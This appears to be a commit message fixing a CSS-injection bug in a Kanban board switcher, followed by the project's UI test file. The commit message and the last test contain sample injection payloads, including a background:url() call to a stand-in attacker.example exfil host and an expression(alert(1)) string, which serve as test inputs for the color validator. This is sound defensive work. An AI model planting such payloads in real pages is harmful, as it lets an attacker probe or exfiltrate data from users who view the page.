`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
521 lines
20 KiB
Python
521 lines
20 KiB
Python
from pathlib import Path
|
|
import re
|
|
|
|
ROOT = Path(__file__).resolve().parents[1]
|
|
INDEX = (ROOT / "static" / "index.html").read_text(encoding="utf-8")
|
|
PANELS = (ROOT / "static" / "panels.js").read_text(encoding="utf-8")
|
|
STYLE = (ROOT / "static" / "style.css").read_text(encoding="utf-8")
|
|
I18N = (ROOT / "static" / "i18n.js").read_text(encoding="utf-8")
|
|
COMPACT_INDEX = re.sub(r"\s+", "", INDEX)
|
|
COMPACT_PANELS = re.sub(r"\s+", "", PANELS)
|
|
COMPACT_STYLE = re.sub(r"\s+", "", STYLE)
|
|
|
|
|
|
def test_kanban_has_native_sidebar_rail_and_mobile_tab():
|
|
assert 'data-panel="kanban"' in INDEX
|
|
assert 'data-i18n-title="tab_kanban"' in INDEX
|
|
assert 'onclick="switchPanel(\'kanban\')"' in INDEX
|
|
assert 'data-label="Kanban"' in INDEX
|
|
kanban_section = INDEX[INDEX.find('id="mainKanban"'):INDEX.find('id="mainWorkspaces"')]
|
|
assert "<iframe" not in kanban_section.lower()
|
|
|
|
|
|
def test_kanban_has_sidebar_panel_and_main_board_mounts():
|
|
assert '<div class="panel-view" id="panelKanban">' in INDEX
|
|
assert 'id="kanbanSearch"' in INDEX
|
|
assert 'id="kanbanAssigneeFilter"' in INDEX
|
|
assert 'id="kanbanTenantFilter"' in INDEX
|
|
assert 'id="kanbanIncludeArchived"' in INDEX
|
|
assert 'id="kanbanList"' in INDEX
|
|
assert '<div id="mainKanban" class="main-view">' in INDEX
|
|
assert 'id="kanbanBoard"' in INDEX
|
|
assert 'id="kanbanTaskPreview"' in INDEX
|
|
|
|
|
|
def test_switch_panel_lazy_loads_kanban_and_toggles_main_view():
|
|
assert "'kanban'" in re.search(r"\[[^\]]+\]\.forEach\(p => \{\s*mainEl\.classList", PANELS).group(0)
|
|
assert "if (nextPanel === 'kanban') await loadKanban();" in PANELS
|
|
assert "if (_currentPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
|
def test_kanban_frontend_uses_relative_api_endpoints():
|
|
assert "'/api/kanban/board" in PANELS
|
|
assert "api('/api/kanban/tasks/" in PANELS
|
|
assert "api('/api/kanban/config" in PANELS
|
|
assert "fetch('/api/kanban" not in PANELS
|
|
assert "kanbanTaskPreview" in PANELS
|
|
assert "classList.add('selected')" in PANELS
|
|
|
|
|
|
def test_kanban_task_detail_renders_read_only_sections():
|
|
assert "function _kanbanRenderTaskDetail" in PANELS
|
|
for payload_key in ("data.comments", "data.events", "data.links", "data.runs"):
|
|
assert payload_key in PANELS
|
|
for section_class in (
|
|
"kanban-detail-section",
|
|
"kanban-detail-comments",
|
|
"kanban-detail-events",
|
|
"kanban-detail-links",
|
|
"kanban-detail-runs",
|
|
):
|
|
assert section_class in PANELS
|
|
assert "method: 'POST'" not in PANELS[PANELS.find("async function loadKanbanTask"):PANELS.find("function loadTodos")]
|
|
|
|
|
|
|
|
def test_kanban_write_mvp_has_native_controls_and_api_calls():
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
assert "async function createKanbanTask" in PANELS
|
|
assert "async function updateKanbanTask" in PANELS
|
|
assert "async function addKanbanComment" in PANELS
|
|
# The exact tail varies because the multi-board PR appends
|
|
# _kanbanBoardQuery() to most kanban API URLs. Match with looser
|
|
# substring assertions that survive that suffix.
|
|
assert "api('/api/kanban/tasks'" in PANELS
|
|
assert "method: 'POST'" in PANELS
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId)" in PANELS
|
|
assert "method: 'PATCH'" in PANELS
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/comments'" in PANELS
|
|
assert "kanban-status-actions" in PANELS
|
|
assert "kanban-comment-form" in PANELS
|
|
|
|
|
|
def test_kanban_board_has_native_css_classes():
|
|
for selector in (
|
|
".kanban-board",
|
|
".kanban-column",
|
|
".kanban-card",
|
|
".kanban-card-title",
|
|
".kanban-meta",
|
|
".kanban-readonly",
|
|
):
|
|
assert selector in STYLE
|
|
assert "overflow-x:auto" in COMPACT_STYLE
|
|
|
|
|
|
def test_kanban_i18n_keys_exist_in_every_locale_block():
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
|
assert len(locale_blocks) >= 8
|
|
required_keys = [
|
|
"tab_kanban",
|
|
"kanban_board",
|
|
"kanban_search_tasks",
|
|
"kanban_all_assignees",
|
|
"kanban_all_tenants",
|
|
"kanban_include_archived",
|
|
"kanban_visible_tasks",
|
|
"kanban_no_matching_tasks",
|
|
"kanban_unavailable",
|
|
"kanban_read_only",
|
|
"kanban_empty",
|
|
"kanban_comments_count",
|
|
"kanban_events_count",
|
|
"kanban_links",
|
|
"kanban_runs_count",
|
|
"kanban_no_comments",
|
|
"kanban_no_events",
|
|
"kanban_no_runs",
|
|
"kanban_new_task",
|
|
"kanban_add_comment",
|
|
]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_core_controls_are_native():
|
|
assert 'id="kanbanOnlyMine"' in INDEX
|
|
assert 'id="kanbanBulkBar"' in INDEX
|
|
assert 'id="kanbanStats"' in INDEX
|
|
assert "async function nudgeKanbanDispatcher" in PANELS
|
|
assert "async function bulkUpdateKanban" in PANELS
|
|
assert "async function refreshKanbanEvents" in PANELS
|
|
for endpoint in (
|
|
"'/api/kanban/stats'",
|
|
"'/api/kanban/assignees'",
|
|
"'/api/kanban/events'",
|
|
"'/api/kanban/dispatch'",
|
|
"'/api/kanban/tasks/bulk'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/log'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/block'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/unblock'",
|
|
):
|
|
assert endpoint in PANELS
|
|
# Live event delivery — either the legacy 30s setInterval polling OR
|
|
# the new SSE /api/kanban/events/stream subscription must be present.
|
|
# The multi-board PR replaced setInterval with EventSource as the
|
|
# default, falling back to setInterval after repeated SSE failures.
|
|
assert (
|
|
"setInterval(refreshKanbanEvents" in PANELS
|
|
or "new EventSource" in PANELS
|
|
), "Kanban must subscribe to live events via SSE or polling"
|
|
assert "prompt(" not in PANELS
|
|
assert "confirm(" not in PANELS
|
|
|
|
|
|
def test_kanban_dashboard_parity_i18n_keys_exist():
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
|
required_keys = [
|
|
"kanban_only_mine",
|
|
"kanban_bulk_action",
|
|
"kanban_nudge_dispatcher",
|
|
"kanban_stats",
|
|
"kanban_worker_log",
|
|
"kanban_block",
|
|
"kanban_unblock",
|
|
]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
def test_kanban_ui_parity_polish_adds_card_metadata_quick_actions_and_swimlanes():
|
|
for symbol in (
|
|
"function _kanbanRenderProfileLanes",
|
|
"function _kanbanCardQuickActions",
|
|
"function quickKanbanCardAction",
|
|
"function _kanbanRenderMarkdown",
|
|
"function _kanbanCardStalenessClass",
|
|
"function dragKanbanTask",
|
|
"function dropKanbanTask",
|
|
):
|
|
assert symbol in PANELS
|
|
for token in (
|
|
"kanban-profile-lanes",
|
|
"kanban-card-topline",
|
|
"kanban-card-actions",
|
|
"kanban-card-id",
|
|
"kanban-card-assignee",
|
|
"draggable=\"true\"",
|
|
"ondrop=\"dropKanbanTask",
|
|
"onkeydown=\"if(event.key==='Enter'||event.key===' ')",
|
|
):
|
|
assert token in PANELS
|
|
assert "target=\"_blank\" rel=\"noopener noreferrer\"" in PANELS
|
|
assert "javascript:" not in PANELS.lower()
|
|
|
|
|
|
def test_kanban_ui_parity_polish_css_and_i18n_exist():
|
|
for selector in (
|
|
".kanban-profile-lanes",
|
|
".kanban-profile-lane",
|
|
".kanban-card-actions",
|
|
".kanban-card-action",
|
|
".kanban-card-topline",
|
|
".kanban-card-stale-amber",
|
|
".kanban-card-stale-red",
|
|
".kanban-column.drop-target",
|
|
".hermes-kanban-md",
|
|
):
|
|
assert selector in STYLE
|
|
locale_blocks = re.findall(r"\n\s*([a-z]{2}(?:-[A-Z]{2})?): \{(.*?)\n\s*\},", I18N, flags=re.S)
|
|
required_keys = ["kanban_lanes_by_profile", "kanban_card_start", "kanban_card_complete", "kanban_card_archive", "kanban_unassigned"]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
def test_kanban_review_feedback_static_ui_fixes_exist():
|
|
assert "function closeKanbanTaskDetail" in PANELS
|
|
assert "kanban-back-btn" in PANELS
|
|
assert "function _kanbanFormatTimestamp" in PANELS
|
|
assert "function _kanbanEventSummary" in PANELS
|
|
assert "data.log || {}" in PANELS
|
|
assert ".kanban-task-preview-header" in STYLE
|
|
assert ".kanban-back-btn" in STYLE
|
|
assert "@media (max-width: 640px)" in STYLE
|
|
assert "scroll-snap-type" in STYLE
|
|
assert "kanban-stats-grid" in PANELS
|
|
|
|
|
|
def test_kanban_task_detail_renderer_executes_with_log_and_formats_feedback():
|
|
import json
|
|
import subprocess
|
|
script = """
|
|
const fs = require('fs');
|
|
const vm = require('vm');
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
function esc(value) {
|
|
return String(value == null ? '' : value).replace(/[&<>\"']/g, ch => ({'&':'&','<':'<','>':'>','\"':'"',"'":'''}[ch]));
|
|
}
|
|
const context = {
|
|
console,
|
|
setInterval(){ return 1; },
|
|
document: { querySelectorAll(){ return []; }, getElementById(){ return null; }, addEventListener(){} },
|
|
window: { addEventListener(){} },
|
|
t(key){
|
|
const map = {
|
|
kanban_no_description:'No description', kanban_comments_count:'Comments ({0})', kanban_events_count:'Events ({0})',
|
|
kanban_links:'Links', kanban_runs_count:'Runs ({0})', kanban_worker_log:'Worker log', kanban_empty:'Empty',
|
|
kanban_no_comments:'No comments', kanban_no_events:'No events', kanban_no_runs:'No runs', kanban_add_comment:'Add comment',
|
|
kanban_block:'Block', kanban_unblock:'Unblock', kanban_back_to_board:'Back to board', kanban_task:'Task',
|
|
kanban_status_triage:'Triage', kanban_status_todo:'Todo', kanban_status_ready:'Ready', kanban_status_running:'Running',
|
|
kanban_status_blocked:'Blocked', kanban_status_done:'Done', kanban_status_archived:'Archived'
|
|
};
|
|
return map[key] || key;
|
|
},
|
|
esc, $(){ return null; }, api(){}, showToast(){}, li(){ return ''; }, S: {}
|
|
};
|
|
vm.createContext(context);
|
|
vm.runInContext(src, context);
|
|
const html = vm.runInContext(`_kanbanRenderTaskDetail({
|
|
task:{id:'t_1', title:'Demo', status:'ready', body:'Body'},
|
|
comments:[{body:'hello', author:'webui', created_at:1777931496}],
|
|
events:[{kind:'blocked', payload:{reason:'waiting'}, created_at:1777931496}],
|
|
links:{parents:['t_0'], children:[]},
|
|
runs:[],
|
|
log:{content:'worker log'}
|
|
})`, context);
|
|
console.log(JSON.stringify({html}));
|
|
"""
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
html = json.loads(result.stdout)["html"]
|
|
assert "worker log" in html
|
|
assert "kanban-back-btn" in html
|
|
assert "Back to board" in html
|
|
assert "1777931496" not in html
|
|
assert "waiting" in html
|
|
assert "ReferenceError" not in html
|
|
|
|
|
|
def test_kanban_readonly_banner_starts_hidden_and_is_toggled_on_load():
|
|
"""The 'Read-only view' banner must start hidden in the HTML and only
|
|
become visible when the bridge reports read_only=true. Always-visible
|
|
label is misleading when the kanban_db is fully writable.
|
|
"""
|
|
import os
|
|
here = os.path.dirname(os.path.abspath(__file__))
|
|
index_path = os.path.join(here, "..", "static", "index.html")
|
|
with open(index_path, "r", encoding="utf-8") as f:
|
|
html = f.read()
|
|
# Banner must be in HTML but default-hidden
|
|
assert 'class="kanban-readonly"' in html
|
|
assert 'data-i18n="kanban_read_only"' in html
|
|
# The banner element must have inline style="display:none" (default-hidden)
|
|
# A naive substring check is sufficient — there is exactly one such element.
|
|
banner_block = html[html.find('class="kanban-readonly"'):html.find('class="kanban-readonly"') + 200]
|
|
assert 'display:none' in banner_block, (
|
|
"Read-only banner must default to display:none in HTML to avoid "
|
|
"flashing the wrong message before loadKanban() resolves the actual "
|
|
"read_only flag from the API."
|
|
)
|
|
# And panels.js must toggle it based on _kanbanBoard.read_only
|
|
panels_path = os.path.join(here, "..", "static", "panels.js")
|
|
with open(panels_path, "r", encoding="utf-8") as f:
|
|
panels = f.read()
|
|
assert ".kanban-readonly" in panels, (
|
|
"panels.js must reference .kanban-readonly to toggle the banner"
|
|
)
|
|
assert "_kanbanBoard.read_only" in panels, (
|
|
"panels.js must consult _kanbanBoard.read_only when toggling the banner"
|
|
)
|
|
|
|
|
|
# ── Multi-board switcher UI tests ───────────────────────────────────────────
|
|
|
|
def test_kanban_board_switcher_markup_in_index():
|
|
"""The board switcher next to the Board title must be in index.html so
|
|
it loads on first paint without a JS round-trip."""
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherToggle"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherMenu"' in INDEX
|
|
assert 'id="kanbanBoardSwitcherName"' in INDEX
|
|
# Switcher must be hidden by default — only revealed when ≥1 non-default
|
|
# board exists, otherwise it would clutter single-board deployments.
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
assert 'hidden>' in INDEX or 'hidden ' in INDEX # presence of hidden attr
|
|
|
|
|
|
def test_kanban_board_modal_markup_in_index():
|
|
"""The create/rename board modal lives at the bottom of body so the
|
|
fixed-positioned overlay isn't trapped inside any scroll container."""
|
|
for sel in (
|
|
'id="kanbanBoardModal"',
|
|
'id="kanbanBoardModalTitle"',
|
|
'id="kanbanBoardModalName"',
|
|
'id="kanbanBoardModalSlugInput"',
|
|
'id="kanbanBoardModalDesc"',
|
|
'id="kanbanBoardModalIcon"',
|
|
'id="kanbanBoardModalColor"',
|
|
'id="kanbanBoardModalError"',
|
|
'id="kanbanBoardModalSubmit"',
|
|
):
|
|
assert sel in INDEX
|
|
# Modal must be hidden by default
|
|
assert 'id="kanbanBoardModal" hidden' in INDEX
|
|
|
|
|
|
def test_kanban_board_switcher_handlers_in_panels():
|
|
"""Every UI affordance must have a corresponding JS handler."""
|
|
for fn in (
|
|
"async function loadKanbanBoards",
|
|
"function _renderKanbanBoardMenu",
|
|
"function toggleKanbanBoardMenu",
|
|
"async function switchKanbanBoard",
|
|
"function openKanbanCreateBoard",
|
|
"function openKanbanRenameBoard",
|
|
"function closeKanbanBoardModal",
|
|
"async function submitKanbanBoardModal",
|
|
"async function archiveKanbanBoard",
|
|
):
|
|
assert fn in PANELS, f"Missing handler: {fn}"
|
|
|
|
|
|
def test_kanban_board_switcher_calls_correct_endpoints():
|
|
"""The switcher must hit the right REST verbs to round-trip with the
|
|
bridge's multi-board contract."""
|
|
# GET /boards
|
|
assert "api('/api/kanban/boards'" in PANELS
|
|
# POST /boards (create)
|
|
assert "method: 'POST'" in PANELS
|
|
# POST /boards/<slug>/switch
|
|
assert "/api/kanban/boards/' + encodeURIComponent" in PANELS
|
|
assert "/switch'" in PANELS
|
|
# PATCH /boards/<slug>
|
|
assert "method: 'PATCH'" in PANELS
|
|
# DELETE /boards/<slug>
|
|
assert "method: 'DELETE'" in PANELS
|
|
|
|
|
|
def test_kanban_board_param_is_plumbed_into_api_calls():
|
|
"""Every existing kanban endpoint call must carry ?board=<slug> when
|
|
a non-default board is active. The shared helper is _kanbanBoardQuery()."""
|
|
assert "_kanbanBoardQuery" in PANELS
|
|
# Spot-check critical call sites
|
|
assert "/api/kanban/board' + (params.toString()" in PANELS # board with filters
|
|
assert "/api/kanban/config' + _kanbanBoardQuery()" in PANELS
|
|
assert "/api/kanban/stats' + _kanbanBoardQuery()" in PANELS
|
|
assert "/api/kanban/assignees' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
|
def test_kanban_active_board_persisted_to_localstorage():
|
|
"""The last-viewed board slug must persist to localStorage so a refresh
|
|
keeps the user on the same board."""
|
|
assert "KANBAN_BOARD_LS_KEY" in PANELS
|
|
assert "'hermes-kanban-active-board'" in PANELS
|
|
assert "_kanbanGetSavedBoard" in PANELS
|
|
assert "_kanbanSetSavedBoard" in PANELS
|
|
|
|
|
|
def test_kanban_archive_board_uses_showConfirmDialog():
|
|
"""Archive is destructive → must use the styled showConfirmDialog,
|
|
not native confirm() (which can't be styled or i18n'd)."""
|
|
# The archive path
|
|
arch_idx = PANELS.find("async function archiveKanbanBoard")
|
|
assert arch_idx > 0
|
|
# Look at the next 800 chars
|
|
archive_block = PANELS[arch_idx:arch_idx + 800]
|
|
assert "showConfirmDialog" in archive_block
|
|
assert "danger: true" in archive_block
|
|
|
|
|
|
# ── SSE event stream UI tests ───────────────────────────────────────────────
|
|
|
|
def test_kanban_sse_eventsource_subscription_is_default():
|
|
"""The Kanban panel must subscribe to /api/kanban/events/stream via
|
|
EventSource as the default live-update mechanism (the multi-board PR
|
|
replaced 30s polling with SSE for ~300ms latency parity with the
|
|
agent dashboard's WebSocket /events). 30s polling remains as the
|
|
auto-fallback after repeated SSE failures."""
|
|
assert "new EventSource" in PANELS
|
|
assert "/api/kanban/events/stream" in PANELS
|
|
assert "_kanbanStartEventStream" in PANELS
|
|
assert "addEventListener('hello'" in PANELS
|
|
assert "addEventListener('events'" in PANELS
|
|
|
|
|
|
def test_kanban_sse_falls_back_to_polling_on_repeated_failure():
|
|
"""After 3 SSE failures the client must fall back to HTTP polling so
|
|
a flaky connection doesn't leave the user with stale data."""
|
|
assert "_kanbanEventSourceFailures" in PANELS
|
|
assert ">= 3" in PANELS # the failure threshold
|
|
assert "setInterval(refreshKanbanEvents" in PANELS # the fallback
|
|
|
|
|
|
def test_kanban_sse_torn_down_on_panel_switch():
|
|
"""The long-lived SSE connection must close when the user leaves the
|
|
Kanban panel — leaving it open wastes a server thread and a client
|
|
connection slot."""
|
|
assert "_kanbanStopPolling" in PANELS
|
|
# The teardown must be wired into switchPanel
|
|
assert "prevPanel === 'kanban'" in PANELS
|
|
assert "_kanbanStopPolling()" in PANELS
|
|
|
|
|
|
def test_kanban_sse_refresh_is_debounced():
|
|
"""A burst of events shouldn't trigger N reloads — must coalesce."""
|
|
assert "_scheduleKanbanRefresh" in PANELS
|
|
assert "_kanbanRefreshScheduled" in PANELS
|
|
# 250ms debounce window
|
|
assert "}, 250)" in PANELS
|
|
|
|
|
|
def test_kanban_board_color_is_validated_against_css_injection():
|
|
"""`board.color` is interpolated into a `style=""` attribute on the
|
|
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
|
|
injection: an attacker (with WebUI write access, or via the agent CLI
|
|
which doesn't validate either) could set color to
|
|
`red;background:url('http://attacker/exfil')` and have the malicious
|
|
URL fetched whenever any user opens the board switcher.
|
|
|
|
Drive the helper through Node and assert that named colors / hex
|
|
codes are accepted while every CSS-injection shape is rejected.
|
|
"""
|
|
import json
|
|
import subprocess
|
|
script = """
|
|
const fs = require('fs');
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
const start = src.indexOf('function _kanbanSafeColor');
|
|
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
|
|
// Grab the function body up to and including the closing `}` line.
|
|
const tail = src.slice(start);
|
|
const end = tail.indexOf('\\n}\\n') + 2;
|
|
const fn = tail.slice(0, end);
|
|
const ctx = {};
|
|
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
|
|
const cases = [
|
|
['#fff', '#fff'],
|
|
['#3b82f6', '#3b82f6'],
|
|
['red', 'red'],
|
|
['Blue', 'Blue'],
|
|
// injection attempts must all collapse to '' so the renderer drops
|
|
// the `color:` rule entirely.
|
|
["red;background:url('http://attacker/exfil')", ''],
|
|
['red;background-image:url(http://x)', ''],
|
|
['expression(alert(1))', ''],
|
|
['#zzz', ''],
|
|
['', ''],
|
|
[null, ''],
|
|
[undefined, ''],
|
|
];
|
|
const results = cases.map(([input, expected]) => ({
|
|
input, expected, actual: ctx.fn(input)
|
|
}));
|
|
console.log(JSON.stringify(results));
|
|
"""
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
results = json.loads(result.stdout)
|
|
failures = [r for r in results if r["actual"] != r["expected"]]
|
|
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
|
|
|
|
# The renderer must call the helper, not pass b.color through esc()
|
|
# directly into the style attribute.
|
|
assert "_kanbanSafeColor(b.color)" in PANELS
|
|
assert "color:${esc(b.color)}" not in PANELS
|